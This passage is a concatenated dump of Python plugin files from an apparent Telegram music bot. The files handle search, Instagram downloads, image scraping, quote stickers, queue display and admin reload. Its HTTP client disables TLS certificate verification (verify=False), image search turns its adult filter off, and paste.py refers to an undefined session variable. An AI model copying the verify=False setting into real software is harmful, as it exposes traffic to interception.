"serif": cls = Fonts.serief if style == "bold_cool": cls = Fonts.bold_cool if style == "cool": cls = Fonts.cool if style == "small_cap": cls = Fonts.smallcap if style == "script": cls = Fonts.script if style == "script_bolt": cls = Fonts.bold_script if style == "tiny": cls = Fonts.tiny if style == "comic": cls = Fonts.comic if style == "sans": cls = Fonts.san if style == "slant_sans": cls = Fonts.slant_san if style == "slant": cls = Fonts.slant if style == "sim": cls = Fonts.sim if style == "circles": cls = Fonts.circles if style == "circle_dark": cls = Fonts.dark_circle if style == "gothic": cls = Fonts.gothic if style == "gothic_bolt": cls = Fonts.bold_gothic if style == "cloud": cls = Fonts.cloud if style == "happy": cls = Fonts.happy if style == "sad": cls = Fonts.sad if style == "special": cls = Fonts.special if style == "squares": cls = Fonts.square if style == "squares_bold": cls = Fonts.dark_square if style == "andalucia": cls = Fonts.andalucia if style == "manga": cls = Fonts.manga if style == "stinky": cls = Fonts.stinky if style == "bubbles": cls = Fonts.bubbles if style == "underline": cls = Fonts.underline if style == "ladybug": cls = Fonts.ladybug if style == "rays": cls = Fonts.rays if style == "birds": cls = Fonts.birds if style == "slash": cls = Fonts.slash if style == "stop": cls = Fonts.stop if style == "skyline": cls = Fonts.skyline if style == "arrows": cls = Fonts.arrows if style == "qvnes": cls = Fonts.rvnes if style == "strike": cls = Fonts.strike if style == "frozen": cls = Fonts.frozen new_text = cls(m.message.reply_to_message.text.split(None, 1)[1]) try: await m.message.edit_text(new_text, reply_markup=m.message.reply_markup) except: pass ================================================ FILE: BrandrdXMusic/plugins/tools/google.py ================================================ import logging from googlesearch import search from pyrogram import filters from BrandrdXMusic import app from SafoneAPI import SafoneAPI @app.on_message(filters.command(["google", "gle"])) async def google(bot, message): if len(message.command) < 2 and not message.reply_to_message: await message.reply_text("Example:\n\n`/google lord ram`") return if message.reply_to_message and message.reply_to_message.text: user_input = message.reply_to_message.text else: user_input = " ".join(message.command[1:]) b = await message.reply_text("**Sᴇᴀʀᴄʜɪɴɢ ᴏɴ Gᴏᴏɢʟᴇ....**") try: a = search(user_input, advanced=True) txt = f"Search Query: {user_input}\n\nresults" for result in a: txt += f"\n\n[❍ {result.title}]({result.url})\n{result.description}" await b.edit( txt, disable_web_page_preview=True, ) except Exception as e: await b.edit(e) logging.exception(e) @app.on_message(filters.command(["app", "apps"])) async def app(bot, message): if len(message.command) < 2 and not message.reply_to_message: await message.reply_text("Example:\n\n`/app Free Fire`") return if message.reply_to_message and message.reply_to_message.text: user_input = message.reply_to_message.text else: user_input = " ".join(message.command[1:]) cbb = await message.reply_text("**Sᴇᴀʀᴄʜɪɴɢ ᴏɴ Pʟᴀʏ Sᴛᴏʀᴇ....**") a = await SafoneAPI().apps(user_input, 1) b = a["results"][0] icon = b["icon"] id = b["id"] link = b["link"] ca = b["description"] title = b["title"] dev = b["developer"] info = f"[ᴛɪᴛʟᴇ : {title}]({link})\nɪᴅ: {id}\nᴅᴇᴠᴇʟᴏᴘᴇʀ : {dev}\nᴅᴇsᴄʀɪᴘᴛɪᴏɴ : {ca}" try: await message.reply_photo(icon, caption=info) await cbb.delete() except Exception as e: await message.reply_text(e) ================================================ FILE: BrandrdXMusic/plugins/tools/id.py ================================================ from BrandrdXMusic import app from pyrogram import filters from pyrogram.types import InlineKeyboardButton, InlineKeyboardMarkup @app.on_message(filters.command("id")) def ids(_, message): reply = message.reply_to_message if reply: button = InlineKeyboardButton("✯ ᴄʟᴏsᴇ ✯", callback_data="close") markup = InlineKeyboardMarkup([[button]]) message.reply_text( f"User {reply.from_user.first_name} ID is : {reply.from_user.id}", reply_markup=markup ) else: button = InlineKeyboardButton("✯ ᴄʟᴏsᴇ ✯", callback_data="close") markup = InlineKeyboardMarkup([[button]]) message.reply( f"ᴛʜɪs ɢʀᴏᴜᴩ's ɪᴅ ɪs: {message.chat.id}", reply_markup=markup ) ================================================ FILE: BrandrdXMusic/plugins/tools/ig.py ================================================ import requests from pyrogram import filters from BrandrdXMusic import app @app.on_message(filters.command(["ig", "instagram", "reel"])) async def download_instagram_video(client, message): if len(message.command) < 2: await message.reply_text( "Pʟᴇᴀsᴇ ᴘʀᴏᴠɪᴅᴇ ᴛʜᴇ Iɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ URL ᴀғᴛᴇʀ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ" ) return a = await message.reply_text("ᴘʀᴏᴄᴇssɪɴɢ...") url = message.text.split()[1] api_url = ( f"https://nodejs-1xn1lcfy3-jobians.vercel.app/v2/downloader/instagram?url={url}" ) response = requests.get(api_url) data = response.json() if data["status"]: video_url = data["data"][0]["url"] await a.delete() await client.send_video(message.chat.id, video_url) else: await a.edit("Fᴀɪʟᴇᴅ ᴛᴏ ᴅᴏᴡɴʟᴏᴀᴅ ʀᴇᴇʟ") __MODULE__ = "Iɴsᴛᴀɢʀᴀᴍ" __HELP__ = """/reel [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ /ig [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ /instagram [ɪɴsᴛᴀɢʀᴀᴍ ʀᴇᴇʟ ᴜʀʟ] - Tᴏ ᴅᴏᴡɴʟᴏᴀᴅ ᴛʜᴇ ʀᴇᴇʟ ʙʏ ʙᴏᴛ """ ================================================ FILE: BrandrdXMusic/plugins/tools/image.py ================================================ import os import shutil from re import findall from bing_image_downloader import downloader from pyrogram import Client, filters from pyrogram.types import InputMediaPhoto, Message from BrandrdXMusic import app @app.on_message(filters.command(["imgs", "image"], prefixes=["/", "!"])) async def google_img_search(client: Client, message: Message): chat_id = message.chat.id try: query = message.text.split(None, 1)[1] except IndexError: return await message.reply("Provide an image query to search!") lim = findall(r"lim=\d+", query) try: lim = int(lim[0].replace("lim=", "")) query = query.replace(f"lim={lim}", "") except IndexError: lim = 5 # Default limit to 5 images download_dir = "downloads" try: downloader.download(query, limit=lim, output_dir=download_dir, adult_filter_off=True, force_replace=False, timeout=60) images_dir = os.path.join(download_dir, query) if not os.listdir(images_dir): raise Exception("No images were downloaded.") lst = [os.path.join(images_dir, img) for img in os.listdir(images_dir)][:lim] # Ensure we only take the number of images specified by lim except Exception as e: return await message.reply(f"Error in downloading images: {e}") msg = await message.reply("𝔹𝕣𝕒𝕟𝕕𝕖𝕕𝕏𝕄𝕒𝕟𝕒𝕘𝕖𝕞𝕖𝕟𝕥 Scrapping images...") count = 0 for img in lst: count += 1 await msg.edit(f"=> 𝔹𝕣𝕒𝕟𝕕𝕖𝕕𝕏𝕄𝕒𝕟𝕒𝕘𝕖𝕞𝕖𝕟𝕥 owo scrapped images {count}") try: await app.send_media_group( chat_id=chat_id, media=[InputMediaPhoto(media=img) for img in lst], reply_to_message_id=message.id ) shutil.rmtree(images_dir) await msg.delete() except Exception as e: await msg.delete() return await message.reply(f"Error in sending images: {e}") ================================================ FILE: BrandrdXMusic/plugins/tools/language.py ================================================ from pykeyboard import InlineKeyboard from pyrogram import filters from pyrogram.types import InlineKeyboardButton, Message from BrandrdXMusic import app from BrandrdXMusic.utils.database import get_lang, set_lang from BrandrdXMusic.utils.decorators import (ActualAdminCB, language, languageCB) from config import BANNED_USERS from strings import get_string, languages_present def lanuages_keyboard(_): keyboard = InlineKeyboard(row_width=2) keyboard.add( *[ ( InlineKeyboardButton( text=languages_present[i], callback_data=f"languages:{i}", ) ) for i in languages_present ] ) keyboard.row( InlineKeyboardButton( text=_["BACK_BUTTON"], callback_data=f"settingsback_helper", ), InlineKeyboardButton(text=_["CLOSE_BUTTON"], callback_data=f"close"), ) return keyboard @app.on_message(filters.command(["lang", "setlang", "language"]) & ~BANNED_USERS) @language async def langs_command(client, message: Message, _): keyboard = lanuages_keyboard(_) await message.reply_text( _["lang_1"].format(message.chat.title, message.chat.id), reply_markup=keyboard, ) @app.on_callback_query(filters.regex("LG") & ~BANNED_USERS) @languageCB async def lanuagecb(client, CallbackQuery, _): try: await CallbackQuery.answer() except: pass keyboard = lanuages_keyboard(_) return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard) @app.on_callback_query(filters.regex(r"languages:(.*?)") & ~BANNED_USERS) @ActualAdminCB async def language_markup(client, CallbackQuery, _): langauge = (CallbackQuery.data).split(":")[1] old = await get_lang(CallbackQuery.message.chat.id) if str(old) == str(langauge): return await CallbackQuery.answer(_["lang_4"], show_alert=True) try: _ = get_string(langauge) await CallbackQuery.answer(_["lang_2"], show_alert=True) except: _ = get_string(old) return await CallbackQuery.answer( _["lang_3"], show_alert=True, ) await set_lang(CallbackQuery.message.chat.id, langauge) keyboard = lanuages_keyboard(_) return await CallbackQuery.edit_message_reply_markup(reply_markup=keyboard) ================================================ FILE: BrandrdXMusic/plugins/tools/left.py ================================================ from BrandrdXMusic import app from pyrogram import Client, filters from pyrogram.errors import RPCError from pyrogram.types import ChatMemberUpdated, InlineKeyboardMarkup, InlineKeyboardButton from os import environ from typing import Union, Optional from PIL import Image, ImageDraw, ImageFont import asyncio # --------------------------------------------------------------------------------- # get_font = lambda font_size, font_path: ImageFont.truetype(font_path, font_size) resize_text = ( lambda text_size, text: (text[:text_size] + "...").upper() if len(text) > text_size else text.upper() ) # --------------------------------------------------------------------------------- # async def get_userinfo_img( bg_path: str, font_path: str, user_id: Union[int, str], profile_path: Optional[str] = None ): bg = Image.open(bg_path) if profile_path: img = Image.open(profile_path) mask = Image.new("L", img.size, 0) draw = ImageDraw.Draw(mask) draw.pieslice([(0, 0), img.size], 0, 360, fill=255) circular_img = Image.new("RGBA", img.size, (0, 0, 0, 0)) circular_img.paste(img, (0, 0), mask) resized = circular_img.resize((400, 400)) bg.paste(resized, (440, 160), resized) img_draw = ImageDraw.Draw(bg) img_draw.text( (529, 627), text=str(user_id).upper(), font=get_font(46, font_path), fill=(255, 255, 255), ) path = f"./userinfo_img_{user_id}.png" bg.save(path) return path # --------------------------------------------------------------------------------- # bg_path = "BrandrdXMusic/assets/userinfo.png" font_path = "BrandrdXMusic/assets/hiroko.ttf" # --------------------------------------------------------------------------------- # # ------------- @app.on_chat_member_updated(filters.group, group=20) async def member_has_left(client: app, member: ChatMemberUpdated): if ( not member.new_chat_member and member.old_chat_member.status not in { "banned", "left", "restricted" } and member.old_chat_member ): pass else: return user = ( member.old_chat_member.user if member.old_chat_member else member.from_user ) # Check if the user has a profile photo if user.photo and user.photo.big_file_id: try: # Add the photo path, caption, and button details photo = await app.download_media(user.photo.big_file_id) welcome_photo = await get_userinfo_img( bg_path=bg_path, font_path=font_path, user_id=user.id, profile_path=photo, ) caption = f"**#New_Member_Left**\n\n**๏** {user.mention} **ʜᴀs ʟᴇғᴛ ᴛʜɪs ɢʀᴏᴜᴘ**\n**๏ sᴇᴇ ʏᴏᴜ sᴏᴏɴ ᴀɢᴀɪɴ..!**" button_text = "๏ ᴠɪᴇᴡ ᴜsᴇʀ ๏" # Generate a deep link to open the user's profile deep_link = f"tg://openmessage?user_id={user.id}" # Send the message with the photo, caption, and button message = await client.send_photo( chat_id=member.chat.id, photo=welcome_photo, caption=caption, reply_markup=InlineKeyboardMarkup([ [InlineKeyboardButton(button_text, url=deep_link)] ]) ) # Schedule a task to delete the message after 30 seconds async def delete_message(): await asyncio.sleep(30) await message.delete() # Run the task asyncio.create_task(delete_message()) except RPCError as e: print(e) return else: # Handle the case where the user has no profile photo print(f"User {user.id} has no profile photo.") ================================================ FILE: BrandrdXMusic/plugins/tools/paste.py ================================================ import asyncio import os import re import aiofiles from pykeyboard import InlineKeyboard from pyrogram import filters from pyrogram.types import InlineKeyboardButton from aiohttp import ClientSession from BrandrdXMusic import app from BrandrdXMusic.utils.errors import capture_err from BrandrdXMusic.utils.pastebin import HottyBin pattern = re.compile(r"^text/|json$|yaml$|xml$|toml$|x-sh$|x-shellscript$") async def isPreviewUp(preview: str) -> bool: for _ in range(7): try: async with session.head(preview, timeout=2) as resp: status = resp.status size = resp.content_length except asyncio.exceptions.TimeoutError: return False if status == 404 or (status == 200 and size == 0): await asyncio.sleep(0.4) else: return True if status == 200 else False return False @app.on_message(filters.command("paste")) @capture_err async def paste_func(_, message): if not message.reply_to_message: return await message.reply_text("Reply To A Message With /paste") m = await message.reply_text("Pasting...") if message.reply_to_message.text: content = str(message.reply_to_message.text) elif message.reply_to_message.document: document = message.reply_to_message.document if document.file_size > 1048576: return await m.edit("You can only paste files smaller than 1MB.") if not pattern.search(document.mime_type): return await m.edit("Only text files can be pasted.") doc = await message.reply_to_message.download() async with aiofiles.open(doc, mode="r") as f: content = await f.read() os.remove(doc) link = await HottyBin(content) preview = link button = InlineKeyboard(row_width=1) button.add(InlineKeyboardButton(text="• ᴘᴀsᴛᴇ ʟɪɴᴋ •", url=link)) await m.delete() try: await message.reply("ʜᴇʀᴇ ɪs ʏᴏᴜʀ ᴘᴀsᴛᴇ ʟɪɴᴋ :", quote=False, reply_markup=button) except Exception: pass ================================================ FILE: BrandrdXMusic/plugins/tools/ping.py ================================================ from datetime import datetime from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.utils import bot_sys_stats from BrandrdXMusic.utils.decorators.language import language from BrandrdXMusic.utils.inline import supp_markup from config import BANNED_USERS, PING_IMG_URL @app.on_message(filters.command(["ping", "alive"]) & ~BANNED_USERS) @language async def ping_com(client, message: Message, _): start = datetime.now() response = await message.reply_photo( photo=PING_IMG_URL, caption=_["ping_1"].format(app.mention), ) pytgping = await Hotty.ping() UP, CPU, RAM, DISK = await bot_sys_stats() resp = (datetime.now() - start).microseconds / 1000 await response.edit_text( _["ping_2"].format(resp, app.mention, UP, RAM, CPU, DISK, pytgping), reply_markup=supp_markup(_), ) ================================================ FILE: BrandrdXMusic/plugins/tools/q.py ================================================ from io import BytesIO from httpx import AsyncClient, Timeout from pyrogram import filters from pyrogram.types import Message from BrandrdXMusic import app fetch = AsyncClient( http2=True, verify=False, headers={ "Accept-Language": "id-ID", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edge/107.0.1418.42", }, timeout=Timeout(20), ) class QuotlyException(Exception): pass async def get_message_sender_id(ctx: Message): if ctx.forward_date: if ctx.forward_sender_name: return 1 elif ctx.forward_from: return ctx.forward_from.id elif ctx.forward_from_chat: return ctx.forward_from_chat.id else: return 1 elif ctx.from_user: return ctx.from_user.id elif ctx.sender_chat: return ctx.sender_chat.id else: return 1 async def get_message_sender_name(ctx: Message): if ctx.forward_date: if ctx.forward_sender_name: return ctx.forward_sender_name elif ctx.forward_from: return ( f"{ctx.forward_from.first_name} {ctx.forward_from.last_name}" if ctx.forward_from.last_name else ctx.forward_from.first_name ) elif ctx.forward_from_chat: return ctx.forward_from_chat.title else: return "" elif ctx.from_user: if ctx.from_user.last_name: return f"{ctx.from_user.first_name} {ctx.from_user.last_name}" else: return ctx.from_user.first_name elif ctx.sender_chat: return ctx.sender_chat.title else: return "" async def get_custom_emoji(ctx: Message): if ctx.forward_date: return ( "" if ctx.forward_sender_name or not ctx.forward_from and ctx.forward_from_chat or not ctx.forward_from else ctx.forward_from.emoji_status.custom_emoji_id ) return ctx.from_user.emoji_status.custom_emoji_id if ctx.from_user else "" async def get_message_sender_username(ctx: Message): if ctx.forward_date: if ( not ctx.forward_sender_name and not ctx.forward_from and ctx.forward_from_chat and ctx.forward_from_chat.username ): return ctx.forward_from_chat.username elif ( not ctx.forward_sender_name and not ctx.forward_from and ctx.forward_from_chat or ctx.forward_sender_name or not ctx.forward_from ): return "" else: return ctx.forward_from.username or "" elif ctx.from_user and ctx.from_user.username: return ctx.from_user.username elif ( ctx.from_user or ctx.sender_chat and not ctx.sender_chat.username or not ctx.sender_chat ): return "" else: return ctx.sender_chat.username async def get_message_sender_photo(ctx: Message): if ctx.forward_date: if ( not ctx.forward_sender_name and not ctx.forward_from and ctx.forward_from_chat and ctx.forward_from_chat.photo ): return { "small_file_id": ctx.forward_from_chat.photo.small_file_id, "small_photo_unique_id": ctx.forward_from_chat.photo.small_photo_unique_id, "big_file_id": ctx.forward_from_chat.photo.big_file_id, "big_photo_unique_id": ctx.forward_from_chat.photo.big_photo_unique_id, } elif ( not ctx.forward_sender_name and not ctx.forward_from and ctx.forward_from_chat or ctx.forward_sender_name or not ctx.forward_from ): return "" else: return ( { "small_file_id": ctx.forward_from.photo.small_file_id, "small_photo_unique_id": ctx.forward_from.photo.small_photo_unique_id, "big_file_id": ctx.forward_from.photo.big_file_id, "big_photo_unique_id": ctx.forward_from.photo.big_photo_unique_id, } if ctx.forward_from.photo else "" ) elif ctx.from_user and ctx.from_user.photo: return { "small_file_id": ctx.from_user.photo.small_file_id, "small_photo_unique_id": ctx.from_user.photo.small_photo_unique_id, "big_file_id": ctx.from_user.photo.big_file_id, "big_photo_unique_id": ctx.from_user.photo.big_photo_unique_id, } elif ( ctx.from_user or ctx.sender_chat and not ctx.sender_chat.photo or not ctx.sender_chat ): return "" else: return { "small_file_id": ctx.sender_chat.photo.small_file_id, "small_photo_unique_id": ctx.sender_chat.photo.small_photo_unique_id, "big_file_id": ctx.sender_chat.photo.big_file_id, "big_photo_unique_id": ctx.sender_chat.photo.big_photo_unique_id, } async def get_text_or_caption(ctx: Message): if ctx.text: return ctx.text elif ctx.caption: return ctx.caption else: return "" async def pyrogram_to_quotly(messages, is_reply): if not isinstance(messages, list): messages = [messages] payload = { "type": "quote", "format": "png", "backgroundColor": "#1b1429", "messages": [], } for message in messages: the_message_dict_to_append = {} if message.entities: the_message_dict_to_append["entities"] = [ { "type": entity.type.name.lower(), "offset": entity.offset, "length": entity.length, } for entity in message.entities ] elif message.caption_entities: the_message_dict_to_append["entities"] = [ { "type": entity.type.name.lower(), "offset": entity.offset, "length": entity.length, } for entity in message.caption_entities ] else: the_message_dict_to_append["entities"] = [] the_message_dict_to_append["chatId"] = await get_message_sender_id(message) the_message_dict_to_append["text"] = await get_text_or_caption(message) the_message_dict_to_append["avatar"] = True the_message_dict_to_append["from"] = {} the_message_dict_to_append["from"]["id"] = await get_message_sender_id(message) the_message_dict_to_append["from"]["name"] = await get_message_sender_name( message ) the_message_dict_to_append["from"]["username"] = ( await get_message_sender_username(message) ) the_message_dict_to_append["from"]["type"] = message.chat.type.name.lower() the_message_dict_to_append["from"]["photo"] = await get_message_sender_photo( message ) if message.reply_to_message and is_reply: the_message_dict_to_append["replyMessage"] = { "name": await get_message_sender_name(message.reply_to_message), "text": await get_text_or_caption(message.reply_to_message), "chatId": await get_message_sender_id(message.reply_to_message), } else: the_message_dict_to_append["replyMessage"] = {} payload["messages"].append(the_message_dict_to_append) r = await fetch.post("https://bot.lyo.su/quote/generate.png", json=payload) if not r.is_error: return r.read() else: raise QuotlyException(r.json()) def isArgInt(txt) -> list: count = txt try: count = int(count) return [True, count] except ValueError: return [False, 0] @app.on_message(filters.command(["q", "r"]) & filters.reply) async def msg_quotly_cmd(self: app, ctx: Message): ww = await ctx.reply_text("ᴡᴀɪᴛ ᴀ sᴇᴄᴏɴᴅ......") is_reply = False if ctx.command[0].endswith("r"): is_reply = True if len(ctx.text.split()) > 1: check_arg = isArgInt(ctx.command[1]) if check_arg[0]: if check_arg[1] < 2 or check_arg[1] > 10: await ww.delete() return await ctx.reply_msg("Invalid range", del_in=6) try: messages = [ i for i in await self.get_messages( chat_id=ctx.chat.id, message_ids=range( ctx.reply_to_message.id, ctx.reply_to_message.id + (check_arg[1] + 5), ), replies=-1, ) if not i.empty and not i.media ] except Exception: return await ctx.reply_text("🤷🏻‍♂️") try: make_quotly = await pyrogram_to_quotly(messages, is_reply=is_reply) bio_sticker = BytesIO(make_quotly) bio_sticker.name = "misskatyquote_sticker.webp" await ww.delete() return await ctx.reply_sticker(bio_sticker) except Exception: await ww.delete() return await ctx.reply_msg("🤷🏻‍♂️") try: messages_one = await self.get_messages( chat_id=ctx.chat.id, message_ids=ctx.reply_to_message.id, replies=-1 ) messages = [messages_one] except Exception: await ww.delete() return await ctx.reply_msg("🤷🏻‍♂️") try: make_quotly = await pyrogram_to_quotly(messages, is_reply=is_reply) bio_sticker = BytesIO(make_quotly) bio_sticker.name = "misskatyquote_sticker.webp" await ww.delete() return await ctx.reply_sticker(bio_sticker) except Exception as e: await ww.delete() return await ctx.reply_msg(f"ERROR: {e}") __HELP__ = """ **ǫᴜᴏᴛᴇ ɢᴇɴᴇʀᴀᴛɪᴏɴ ʙᴏᴛ ᴄᴏᴍᴍᴀɴᴅs** ᴜsᴇ ᴛʜᴇsᴇ ᴄᴏᴍᴍᴀɴᴅs ᴛᴏ ᴄʀᴇᴀᴛᴇ ǫᴜᴏᴛᴇs ғʀᴏᴍ ᴍᴇssᴀɢᴇs: - `/q`: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴀ sɪɴɢʟᴇ ᴍᴇssᴀɢᴇ. - `/r`: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ᴀ sɪɴɢʟᴇ ᴍᴇssᴀɢᴇ ᴀɴᴅ ɪᴛs ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇ. **ᴇxᴀᴍᴘʟᴇs:** - `/q `: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇs. - `/r `: ᴄʀᴇᴀᴛᴇ ᴀ ǫᴜᴏᴛᴇ ғʀᴏᴍ ʀᴇᴘʟɪᴇᴅ ᴍᴇssᴀɢᴇs. **ɴᴏᴛᴇ:** ᴍᴀᴋᴇ sᴜʀᴇ ᴛᴏ ʀᴇᴘʟʏ ᴛᴏ ᴀ ᴍᴇssᴀɢᴇ ғᴏʀ ᴛʜᴇ ǫᴜᴏᴛᴇ ᴄᴏᴍᴍᴀɴᴅ ᴛᴏ ᴡᴏʀᴋ. """ __MODULE__ = "Qᴜᴏᴛᴇ" ================================================ FILE: BrandrdXMusic/plugins/tools/queue.py ================================================ import asyncio import os from pyrogram import filters from pyrogram.errors import FloodWait from pyrogram.types import CallbackQuery, InputMediaPhoto, Message import config from BrandrdXMusic import app from BrandrdXMusic.misc import db from BrandrdXMusic.utils import HottyBin, get_channeplayCB, seconds_to_min from BrandrdXMusic.utils.database import get_cmode, is_active_chat, is_music_playing from BrandrdXMusic.utils.decorators.language import language, languageCB from BrandrdXMusic.utils.inline import queue_back_markup, queue_markup from config import BANNED_USERS basic = {} def get_image(videoid): if os.path.isfile(f"cache/{videoid}.png"): return f"cache/{videoid}.png" else: return config.YOUTUBE_IMG_URL def get_duration(playing): file_path = playing[0]["file"] if "index_" in file_path or "live_" in file_path: return "Unknown" duration_seconds = int(playing[0]["seconds"]) if duration_seconds == 0: return "Unknown" else: return "Inline" @app.on_message( filters.command(["queue", "cqueue", "player", "cplayer", "playing", "cplaying"]) & filters.group & ~BANNED_USERS ) @language async def get_queue(client, message: Message, _): if message.command[0][0] == "c": chat_id = await get_cmode(message.chat.id) if chat_id is None: return await message.reply_text(_["setting_7"]) try: await app.get_chat(chat_id) except: return await message.reply_text(_["cplay_4"]) cplay = True else: chat_id = message.chat.id cplay = False if not await is_active_chat(chat_id): return await message.reply_text(_["general_5"]) got = db.get(chat_id) if not got: return await message.reply_text(_["queue_2"]) file = got[0]["file"] videoid = got[0]["vidid"] user = got[0]["by"] title = (got[0]["title"]).title() typo = (got[0]["streamtype"]).title() DUR = get_duration(got) if "live_" in file: IMAGE = get_image(videoid) elif "vid_" in file: IMAGE = get_image(videoid) elif "index_" in file: IMAGE = config.STREAM_IMG_URL else: if videoid == "telegram": IMAGE = ( config.TELEGRAM_AUDIO_URL if typo == "Audio" else config.TELEGRAM_VIDEO_URL ) elif videoid == "soundcloud": IMAGE = config.SOUNCLOUD_IMG_URL else: IMAGE = get_image(videoid) send = _["queue_6"] if DUR == "Unknown" else _["queue_7"] cap = _["queue_8"].format(app.mention, title, typo, user, send) upl = ( queue_markup(_, DUR, "c" if cplay else "g", videoid) if DUR == "Unknown" else queue_markup( _, DUR, "c" if cplay else "g", videoid, seconds_to_min(got[0]["played"]), got[0]["dur"], ) ) basic[videoid] = True mystic = await message.reply_photo(IMAGE, caption=cap, reply_markup=upl) if DUR != "Unknown": try: while db[chat_id][0]["vidid"] == videoid: await asyncio.sleep(5) if await is_active_chat(chat_id): if basic[videoid]: if await is_music_playing(chat_id): try: buttons = queue_markup( _, DUR, "c" if cplay else "g", videoid, seconds_to_min(db[chat_id][0]["played"]), db[chat_id][0]["dur"], ) await mystic.edit_reply_markup(reply_markup=buttons) except FloodWait: pass else: pass else: break else: break except: return @app.on_callback_query(filters.regex("GetTimer") & ~BANNED_USERS) async def quite_timer(client, CallbackQuery: CallbackQuery): try: await CallbackQuery.answer() except: pass @app.on_callback_query(filters.regex("GetQueued") & ~BANNED_USERS) @languageCB async def queued_tracks(client, CallbackQuery: CallbackQuery, _): callback_data = CallbackQuery.data.strip() callback_request = callback_data.split(None, 1)[1] what, videoid = callback_request.split("|") try: chat_id, channel = await get_channeplayCB(_, what, CallbackQuery) except: return if not await is_active_chat(chat_id): return await CallbackQuery.answer(_["general_5"], show_alert=True) got = db.get(chat_id) if not got: return await CallbackQuery.answer(_["queue_2"], show_alert=True) if len(got) == 1: return await CallbackQuery.answer(_["queue_5"], show_alert=True) await CallbackQuery.answer() basic[videoid] = False buttons = queue_back_markup(_, what) med = InputMediaPhoto( media="https://te.legra.ph/file/ba39a10ba20736f42f202.jpg", caption=_["queue_1"], ) await CallbackQuery.edit_message_media(media=med) j = 0 msg = "" for x in got: j += 1 if j == 1: msg += f'Streaming :\n\n✨ Title : {x["title"]}\nDuration : {x["dur"]}\nBy : {x["by"]}\n\n' elif j == 2: msg += f'Queued :\n\n✨ Title : {x["title"]}\nDuration : {x["dur"]}\nBy : {x["by"]}\n\n' else: msg += f'✨ Title : {x["title"]}\nDuration : {x["dur"]}\nBy : {x["by"]}\n\n' if "Queued" in msg: if len(msg) < 700: await asyncio.sleep(1) return await CallbackQuery.edit_message_text(msg, reply_markup=buttons) if "✨" in msg: msg = msg.replace("✨", "") link = await HottyBin(msg) med = InputMediaPhoto(media=link, caption=_["queue_3"].format(link)) await CallbackQuery.edit_message_media(media=med, reply_markup=buttons) else: await asyncio.sleep(1) return await CallbackQuery.edit_message_text(msg, reply_markup=buttons) @app.on_callback_query(filters.regex("queue_back_timer") & ~BANNED_USERS) @languageCB async def queue_back(client, CallbackQuery: CallbackQuery, _): callback_data = CallbackQuery.data.strip() cplay = callback_data.split(None, 1)[1] try: chat_id, channel = await get_channeplayCB(_, cplay, CallbackQuery) except: return if not await is_active_chat(chat_id): return await CallbackQuery.answer(_["general_5"], show_alert=True) got = db.get(chat_id) if not got: return await CallbackQuery.answer(_["queue_2"], show_alert=True) await CallbackQuery.answer(_["set_cb_5"], show_alert=True) file = got[0]["file"] videoid = got[0]["vidid"] user = got[0]["by"] title = (got[0]["title"]).title() typo = (got[0]["streamtype"]).title() DUR = get_duration(got) if "live_" in file: IMAGE = get_image(videoid) elif "vid_" in file: IMAGE = get_image(videoid) elif "index_" in file: IMAGE = config.STREAM_IMG_URL else: if videoid == "telegram": IMAGE = ( config.TELEGRAM_AUDIO_URL if typo == "Audio" else config.TELEGRAM_VIDEO_URL ) elif videoid == "soundcloud": IMAGE = config.SOUNCLOUD_IMG_URL else: IMAGE = get_image(videoid) send = _["queue_6"] if DUR == "Unknown" else _["queue_7"] cap = _["queue_8"].format(app.mention, title, typo, user, send) upl = ( queue_markup(_, DUR, cplay, videoid) if DUR == "Unknown" else queue_markup( _, DUR, cplay, videoid, seconds_to_min(got[0]["played"]), got[0]["dur"], ) ) basic[videoid] = True med = InputMediaPhoto(media=IMAGE, caption=cap) mystic = await CallbackQuery.edit_message_media(media=med, reply_markup=upl) if DUR != "Unknown": try: while db[chat_id][0]["vidid"] == videoid: await asyncio.sleep(5) if await is_active_chat(chat_id): if basic[videoid]: if await is_music_playing(chat_id): try: buttons = queue_markup( _, DUR, cplay, videoid, seconds_to_min(db[chat_id][0]["played"]), db[chat_id][0]["dur"], ) await mystic.edit_reply_markup(reply_markup=buttons) except FloodWait: pass else: pass else: break else: break except: return ================================================ FILE: BrandrdXMusic/plugins/tools/reload.py ================================================ import asyncio import time from pyrogram import filters from pyrogram.enums import ChatMembersFilter from pyrogram.types import CallbackQuery, Message from BrandrdXMusic import app from BrandrdXMusic.core.call import Hotty from BrandrdXMusic.misc import db from BrandrdXMusic.utils.database import get_assistant, get_authuser_names, get_cmode from BrandrdXMusic.utils.decorators import ActualAdminCB, AdminActual, language from BrandrdXMusic.utils.formatters import alpha_to_int, get_readable_time from config import BANNED_USERS, adminlist, lyrical rel = {} @app.on_message( filters.command(["admincache", "reload", "refresh"]) & filters.group & ~BANNED_USERS ) @language async def reload_admin_cache(client, message: Message, _): try: if message.chat.id not in rel: rel[message.chat.id] = {} else: saved = rel[message.chat.id] if saved > time.time(): left = get_readable_time((int(saved) - int(time.time()))) return await message.reply_text(_["reload_1"].format(left)) adminlist[message.chat.id] = [] async for user in app.get_chat_members( message.chat.id, filter=ChatMembersFilter.ADMINISTRATORS ): if user.privileges.can_manage_video_chats: adminlist[message.chat.id].append(user.user.id) authusers = await get_authuser_names(message.chat.id) for user in authusers: user_id = await alpha_to_int(user) 